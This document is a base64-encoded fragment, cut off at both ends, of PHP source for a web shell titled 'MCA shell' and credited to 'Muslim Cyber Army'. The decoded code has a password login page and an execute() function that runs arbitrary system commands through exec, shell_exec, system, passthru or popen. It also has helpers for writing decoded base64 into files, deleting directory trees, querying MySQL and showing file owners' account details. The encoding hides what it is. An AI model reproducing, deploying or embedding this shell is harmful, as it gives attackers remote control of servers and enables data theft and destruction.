FrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQbGVhc2UgaW5wdXQgUEhQIGNvbmZpZ3VyYXRpb24gcGFyYW1ldGVyKGVnOm1hZ2ljX3F1b3Rlc19ncGMpJywnbmFtZSc9PidwaHB2YXJuYW1lJywndmFsdWUnPT4kcGhwdmFybmFtZSwnbmV3bGluZSc9PjEpKTsNCglmb3JtZm9vdGVyKCk7DQoNCgkkaHAgPSBhcnJheSgwPT4gJ1NlcnZlcicsIDE9PiAnUEhQJyk7DQoJZm9yKCRhPTA7JGE8MjskYSsrKSB7DQoJCXAoJzxoMj4nLiRocFskYV0uJyAmcmFxdW87PC9oMj4nKTsNCgkJcCgnPHVsIGNsYXNzPSJpbmZvIj4nKTsNCgkJaWYgKCRhPT0wKSB7DQoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7DQoJCQkJcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOw0KCQkJfQ0KCQl9IGVsc2VpZiAoJGEgPT0gMSkgew0KCQkJZm9yKCRpPTEwOyRpPD0yMzskaSsrKSB7DQoJCQkJcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOw0KCQkJfQ0KCQl9DQoJCXAoJzwvdWw+Jyk7DQoJfQ0KfS8vZW5kIHBocGVudg0KDQplbHNlIHsNCgltKCdVbmRlZmluZWQgQWN0aW9uJyk7DQp9DQoNCj8+DQoNCjwvdGQ+PC90cj48L3RhYmxlPg0KPGRpdiBzdHlsZT0icGFkZGluZzoxMHB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMwRTBFMEU7Ym9yZGVyLXRvcDoxcHggc29saWQgIzBFMEUwRTtiYWNrZ3JvdW5kOiMwRTBFMEU7Ij4NCgk8c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48P3BocCBkZWJ1Z2luZm8oKTtvYl9lbmRfZmx1c2goKTs/Pjwvc3Bhbj4NCglDb3B5cmlnaHQgKEMpIDIwMTMgPEI+PC9CPiAtIERldmVsb3AgYnkgPGEgaHJlZj1odHRwOi8vZ29vZ2xlLmNvbSB0YXJnZXQ9X2JsYW5rPjxCPkJpbGxHYXRlICAgPC9CPjwvYT4gLSA8Qj4tIE11c2xpbSBDeWJlciBBcm15PC9CPiBBbGwgUmlnaHRzIFJlc2VydmVkLg0KPC9kaXY+DQo8L2JvZHk+DQo8L25vc2NyaXB0Pg0KDQo8P3BocA0KDQovKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KU2hvdyBpbmZvIHNoZWxsDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0qLw0KDQpmdW5jdGlvbiBtKCRtc2cpIHsNCgllY2hvICc8ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOiNmMWYxZjE7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3BhZGRpbmc6MTVweDtmb250OjE0cHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsiPic7DQoJZWNobyAkbXNnOw0KCWVjaG8gJzwvZGl2Pic7DQp9DQpmdW5jdGlvbiBzY29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgew0KCWdsb2JhbCAkYWRtaW4sICR0aW1lc3RhbXAsICRfU0VSVkVSOw0KCSRrZXkgPSAoJHByZWZpeCA/ICRhZG1pblsnY29va2llcHJlJ10gOiAnJykuJGtleTsNCgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkYWRtaW5bJ2Nvb2tpZWxpZmUnXTsNCgkkdXNlcG9ydCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MyA/IDEgOiAwOw0KCXNldGNvb2tpZSgka2V5LCAkdmFsdWUsICR0aW1lc3RhbXArJGxpZmUsICRhZG1pblsnY29va2llcGF0aCddLCAkYWRtaW5bJ2Nvb2tpZWRvbWFpbiddLCAkdXNlcG9ydCk7DQp9DQpmdW5jdGlvbiBtdWx0aSgkbnVtLCAkcGVycGFnZSwgJGN1cnBhZ2UsICR0YWJsZW5hbWUpIHsNCgkkbXVsdGlwYWdlID0gJyc7DQoJaWYoJG51bSA+ICRwZXJwYWdlKSB7DQoJCSRwYWdlID0gMTA7DQoJCSRvZmZzZXQgPSA1Ow0KCQkkcGFnZXMgPSBAY2VpbCgkbnVtIC8gJHBlcnBhZ2UpOw0KCQlpZigkcGFnZSA+ICRwYWdlcykgew0KCQkJJGZyb20gPSAxOw0KCQkJJHRvID0gJHBhZ2VzOw0KCQl9IGVsc2Ugew0KCQkJJGZyb20gPSAkY3VycGFnZSAtICRvZmZzZXQ7DQoJCQkkdG8gPSAkY3VycGFnZSArICRwYWdlIC0gJG9mZnNldCAtIDE7DQoJCQlpZigkZnJvbSA8IDEpIHsNCgkJCQkkdG8gPSAkY3VycGFnZSArIDEgLSAkZnJvbTsNCgkJCQkkZnJvbSA9IDE7DQoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsNCgkJCQkJJHRvID0gJHBhZ2U7DQoJCQkJfQ0KCQkJfSBlbHNlaWYoJHRvID4gJHBhZ2VzKSB7DQoJCQkJJGZyb20gPSAkY3VycGFnZSAtICRwYWdlcyArICR0bzsNCgkJCQkkdG8gPSAkcGFnZXM7DQoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsNCgkJCQkJJGZyb20gPSAkcGFnZXMgLSAkcGFnZSArIDE7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRtdWx0aXBhZ2UgPSAoJGN1cnBhZ2UgLSAkb2Zmc2V0ID4gMSAmJiAkcGFnZXMgPiAkcGFnZSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgMSk7Ij5GaXJzdDwvYT4gJyA6ICcnKS4oJGN1cnBhZ2UgPiAxID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSAtIDEpLicpOyI+UHJldjwvYT4gJyA6ICcnKTsNCgkJZm9yKCRpID0gJGZyb207ICRpIDw9ICR0bzsgJGkrKykgew0KCQkJJG11bHRpcGFnZSAuPSAkaSA9PSAkY3VycGFnZSA/ICRpLicgJyA6ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4kaS4nKTsiPlsnLiRpLiddPC9hPiAnOw0KCQl9DQoJCSRtdWx0aXBhZ2UgLj0gKCRjdXJwYWdlIDwgJHBhZ2VzID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSArIDEpLicpOyI+TmV4dDwvYT4nIDogJycpLigkdG8gPCAkcGFnZXMgPyAnIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRwYWdlcy4nKTsiPkxhc3Q8L2E+JyA6ICcnKTsNCgkJJG11bHRpcGFnZSA9ICRtdWx0aXBhZ2UgPyAnPHA+UGFnZXM6ICcuJG11bHRpcGFnZS4nPC9wPicgOiAnJzsNCgl9DQoJcmV0dXJuICRtdWx0aXBhZ2U7DQp9DQovLyBMb2dpbiBwYWdlDQpmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7DQo/Pg0KDQo8aHRtbD4NCjxoZWFkPg0KDQo8Ym9keSBiZ2NvbG9yPWJsYWNrIGJhY2tncm91bmQ9MS5qcGc+DQoNCgkJPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiIC8+DQo8dGl0bGU+Ljo6WyBNQ0Egc2hlbGwgXTo6LiA8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCkE6bGluayB7dGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjogZ3JlZW4gfQ0KQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6cmVkfQ0KQTphY3RpdmUge3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCkE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyBjb2xvcjogZ3JlZW47fQ0KaW5wdXQsIHRleHRhcmVhLCBidXR0b24NCnsNCglmb250LXNpemU6IDExcHQ7DQoJY29sb3I6IAkjRkZGRkZGOw0KCWZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBzYW5zLXNlcmlmOw0KCWJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQoJYm9yZGVyLWxlZnQ6IDJweCBkYXNoZWQgIzhCMDAwMDsNCglib3JkZXItdG9wOiAycHggZGFzaGVkICM4QjAwMDA7DQoJYm9yZGVyLXJpZ2h0OiAycHggZGFzaGVkICM4QjAwMDA7DQoJYm9yZGVyLWJvdHRvbTogMnB4IGRhc2hlZCAjOEIwMDAwOw0KfQ0KDQo8L3N0eWxlPg0KDQogICAgICAgPEJSPjxCUj4NCjxkaXYgYWxpZ249Y2VudGVyID4NCg0KPGRpdj4NCg0KPGZvbnQgY29sb3I9Z3JheT4NCjxiciAvPjxiciAvPjxiciAvPjxiciAvPjxiciAvPg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4NCgk8c3BhbiBzdHlsZT0iZm9udDoyMHB0IHRhaG9tYTsiPiA8L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMzAiPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvaW5nIiB2YWx1ZT0ibG9naW4iPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+DQoJPC9mb3JtPg0KPEJSPg0KPD9waHANCmVjaG8gIiIuJGVycl9tZXNzLiIiOw0KPz4NCg0KCTxCPjxmb250IGNvbG9yPXJlZD4NCg0KDQoNCg0KDQoNCjwvZGl2Pg0KDQoNCgk8L2ZpZWxkc2V0Pg0KDQoNCg0KPC9oZWFkPg0KPC9odG1sPg0KDQo8P3BocA0KCWV4aXQ7DQoNCn0vL2VuZCBsb2dpbnBhZ2UoKQ0KDQpmdW5jdGlvbiBleGVjdXRlKCRjZmUpIHsNCgkkcmVzID0gJyc7DQoJaWYgKCRjZmUpIHsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCgkJCUBleGVjKCRjZmUsJHJlcyk7DQoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkJJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCQlAb2Jfc3RhcnQoKTsNCgkJCUBzeXN0ZW0oJGNmZSk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCgkJCUBvYl9zdGFydCgpOw0KCQkJQHBhc3N0aHJ1KCRjZmUpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfSBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpIHsNCgkJCSRyZXMgPSAnJzsNCgkJCXdoaWxlKCFAZmVvZigkZikpIHsNCgkJCQkkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsNCgkJCX0NCgkJCUBwY2xvc2UoJGYpOw0KCQl9DQoJfQ0KCXJldHVybiAkcmVzOw0KfQ0KZnVuY3Rpb24gd2hpY2goJHByKSB7DQoJJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsNCglyZXR1cm4gKCRwYXRoID8gJHBhdGggOiAkcHIpOw0KfQ0KDQpmdW5jdGlvbiBjZigkZm5hbWUsJHRleHQpew0KCWlmKCRmcD1AZm9wZW4oJGZuYW1lLCd3JykpIHsNCgkJQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KfQ0KDQovLyBEZWJ1Zw0KZnVuY3Rpb24gZGVidWdpbmZvKCkgew0KCWdsb2JhbCAkc3RhcnR0aW1lOw0KCSRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsNCgllY2hvICdQcm9jZXNzZWQgaW4gJy4kdG90YWx0aW1lLicgc2Vjb25kKHMpJzsNCn0NCg0KLy8gRnVuY3Rpb24gY29ubmVjdCBkYXRhYmFzZQ0KZnVuY3Rpb24gZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWU9JycsJGNoYXJzZXQ9JycsJGRicG9ydD0nMzMwNicpIHsNCglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgew0KCQlwKCc8aDI+Q2FuIG5vdCBjb25uZWN0IHRvIE15U1FMIHNlcnZlcjwvaDI+Jyk7DQoJCWV4aXQ7DQoJfQ0KCWlmKCRsaW5rICYmICRkYm5hbWUpIHsNCgkJaWYgKCFAbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsICRsaW5rKSkgew0KCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmKCRsaW5rICYmIG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpID4gJzQuMScpIHsNCgkJaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkY2hhcnNldCksIGFycmF5KCdnYmsnLCAnYmlnNScsICd1dGY4JykpKSB7DQoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7DQoJCX0NCgl9DQoJcmV0dXJuICRsaW5rOw0KfQ0KDQovLyBBcnJheSBzdHJpcA0KZnVuY3Rpb24gc19hcnJheSgmJGFycmF5KSB7DQoJaWYgKGlzX2FycmF5KCRhcnJheSkpIHsNCgkJZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KSB7DQoJCQkkYXJyYXlbJGtdID0gc19hcnJheSgkdik7DQoJCX0NCgl9IGVsc2UgaWYgKGlzX3N0cmluZygkYXJyYXkpKSB7DQoJCSRhcnJheSA9IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCglyZXR1cm4gJGFycmF5Ow0KfQ0KDQovLyBIVE1MIFN0cmlwDQpmdW5jdGlvbiBodG1sX2NsZWFuKCRjb250ZW50KSB7DQoJJGNvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTsNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7DQoJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiICAiLCAiJm5ic3A7Jm5ic3A7IiwgJGNvbnRlbnQpOw0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlx0IiwgIiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsNCglyZXR1cm4gJGNvbnRlbnQ7DQp9DQoNCi8vIENobW9kDQpmdW5jdGlvbiBnZXRDaG1vZCgkZmlsZXBhdGgpew0KCXJldHVybiBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7DQp9DQoNCmZ1bmN0aW9uIGdldFBlcm1zKCRmaWxlcGF0aCkgew0KCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOw0KCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICdzJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICdkJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICctJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICdiJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICdjJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICdwJzt9DQoJZWxzZSB7JHR5cGUgPSAnPyc7fQ0KDQoJJG93bmVyWydyZWFkJ10gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7DQoJJG93bmVyWyd3cml0ZSddID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOw0KCSRncm91cFsncmVhZCddID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOw0KCSRncm91cFsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCgkkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsNCgkkd29ybGRbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCgkkd29ybGRbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7DQoNCglpZiggJG1vZGUgJiAweDgwMCApIHskb3duZXJbJ2V4ZWN1dGUnXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoJaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQ0KCWlmKCAkbW9kZSAmIDB4MjAwICkgeyR3b3JsZFsnZXhlY3V0ZSddID0gKCR3b3JsZFsnZXhlY3V0ZSddPT0neCcpID8gJ3QnIDogJ1QnO30NCg0KCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsNCn0NCg0KZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoJCSRhcnJheSA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlcGF0aCkpOw0KCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsNCgkJCXJldHVybiAnIC8gPGEgaHJlZj0iIyIgdGl0bGU9IlVzZXI6ICcuJGFycmF5WyduYW1lJ10uJyYjMTMmIzEwUGFzc3dkOiAnLiRhcnJheVsncGFzc3dkJ10uJyYjMTMmIzEwVWlkOiAnLiRhcnJheVsndWlkJ10uJyYjMTMmIzEwZ2lkOiAnLiRhcnJheVsnZ2lkJ10uJyYjMTMmIzEwR2Vjb3M6ICcuJGFycmF5WydnZWNvcyddLicmIzEzJiMxMERpcjogJy4kYXJyYXlbJ2RpciddLicmIzEzJiMxMFNoZWxsOiAnLiRhcnJheVsnc2hlbGwnXS4nIj4nLiRhcnJheVsnbmFtZSddLic8L2E+JzsNCgkJfQ0KCX0NCglyZXR1cm4gJyc7DQp9DQoNCi8vIERlbGV0ZSBkaXINCmZ1bmN0aW9uIGRlbHRyZWUoJGRlbGRpcikgew0KCSRteWRpcj1AZGlyKCRkZWxkaXIpOw0KCXdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKQl7DQoJCWlmKChpc19kaXIoJGRlbGRpci4nLycuJGZpbGUpKSAmJiAoJGZpbGUhPScuJykgJiYgKCRmaWxlIT0nLi4nKSkgew0KCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOw0KCQkJZGVsdHJlZSgkZGVsZGlyLicvJy4kZmlsZSk7DQoJCX0NCgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7DQoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7DQoJCQlAdW5saW5rKCRkZWxkaXIuJy8nLiRmaWxlKTsNCgkJfQ0KCX0NCgkkbXlkaXItPmNsb3NlKCk7DQoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7DQoJcmV0dXJuIEBybWRpcigkZGVsZGlyKSA/IDEgOiAwOw0KfQ0KDQovLyBCYWNrZ3JvdW5kDQpmdW5jdGlvbiBiZygpIHsNCglnbG9iYWwgJGJnYzsNCglyZXR1cm4gKCRiZ2MrKyUyPT0wKSA/ICdhbHQxJyA6ICdhbHQyJzsNCn0NCg0KLy8gR2V0IHBhdGgNCmZ1bmN0aW9uIGdldFBhdGgoJHNjcmlwdHBhdGgsICRub3dwYXRoKSB7DQoJaWYgKCRub3dwYXRoID09ICcuJykgew0KCQkkbm93cGF0aCA9ICRzY3JpcHRwYXRoOw0KCX0NCgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5vd3BhdGgpOw0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbm93cGF0aCk7DQoJaWYgKHN1YnN0cigkbm93cGF0aCwgLTEpICE9ICcvJykgew0KCQkkbm93cGF0aCA9ICRub3dwYXRoLicvJzsNCgl9DQoJcmV0dXJuICRub3dwYXRoOw0KfQ0KDQovLyBHZXQgdXAgcGF0aA0KZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7DQoJJHBhdGhkYiA9IGV4cGxvZGUoJy8nLCAkbm93cGF0aCk7DQoJJG51bSA9IGNvdW50KCRwYXRoZGIpOw0KCWlmICgkbnVtID4gMikgew0KCQl1bnNldCgkcGF0aGRiWyRudW0tMV0sJHBhdGhkYlskbnVtLTJdKTsNCgl9DQoJJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7DQoJJHVwcGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHVwcGF0aCk7DQoJcmV0dXJuICR1cHBhdGg7DQp9DQoNCi8vIENvbmZpZw0KZnVuY3Rpb24gZ2V0Y2ZnKCR2YXJuYW1lKSB7DQoJJHJlc3VsdCA9IGdldF9jZmdfdmFyKCR2YXJuYW1lKTsNCglpZiAoJHJlc3VsdCA9PSAwKSB7DQoJCXJldHVybiAnTm8nOw0KCX0gZWxzZWlmICgkcmVzdWx0ID09IDEpIHsNCgkJcmV0dXJuICdZZXMnOw0KCX0gZWxzZSB7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX0NCn0NCg0KLy8gRnVuY3Rpb24gbmFtZQ0KZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7DQoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7DQp9DQoNCmZ1bmN0aW9uIEdldExpc3QoJGRpcil7DQoJZ2xvYmFsICRkaXJkYXRhLCRqLCRub3dwYXRoOw0KCSEkaiAmJiAkaj0xOw0KCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOw0KCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsNCgkJCQlpZiAoaXNfd3JpdGFibGUoJGYpKSB7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGYpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlybGluayddPXVlKCRkaXIpOw0KCQkJCQkkZGlyZGF0YVskal1bJ3NlcnZlcl9saW5rJ109JGY7DQoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7DQoJCQkJCSRqKys7DQoJCQkJfQ0KCQkJCUdldExpc3QoJGYpOw0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKCRkaCk7DQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCXJldHVybiAkZGlyZGF0YTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gYXJyYXkoKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIHF5KCRzcWwpIHsNCgkvL2VjaG8gJHNxbC4nPGJyPic7DQoJJHJlcyA9ICRlcnJvciA9ICcnOw0KCWlmKCEkcmVzID0gQG15c3FsX3F1ZXJ5KCRzcWwpKSB7DQoJCXJldHVybiAwOw0KCX0gZWxzZSBpZihpc19yZXNvdXJjZSgkcmVzKSkgew0KCQlyZXR1cm4gMTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gMjsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIHEoJHNxbCkgew0KCXJldHVybiBAbXlzcWxfcXVlcnkoJHNxbCk7DQp9DQoNCmZ1bmN0aW9uIGZyKCRxeSl7DQoJbXlzcWxfZnJlZV9yZXN1bHQoJHF5KTsNCn0NCg0KZnVuY3Rpb24gc2l6ZWNvdW50KCRzaXplKSB7DQoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICcgRyc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDQ4NTc2KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7DQoJfSBlbHNlIHsNCgkJJHNpemUgPSAkc2l6ZSAuICcgQic7DQoJfQ0KCXJldHVybiAkc2l6ZTsNCn0NCg0KLy8gWmlwDQpjbGFzcyBQSFBaaXB7DQoJdmFyICRvdXQ9Jyc7DQoJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsNCgkJaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkJew0KCQkJJGN1cmRpciA9IGdldGN3ZCgpOw0KCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOw0KCQkJZWxzZXsNCgkJCQkkZmlsZWxpc3Q9JHRoaXMgLT4gR2V0RmlsZUxpc3QoJGRpcik7Ly9GaWxlIGxpc3QNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoJCQl9DQoJCQlpZiAoKCFlbXB0eSgkZGlyKSkmJighaXNfYXJyYXkoJGRpcikpJiYoZmlsZV9leGlzdHMoJGRpcikpKSBjaGRpcigkZGlyKTsNCgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7DQoJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkZmlsZW5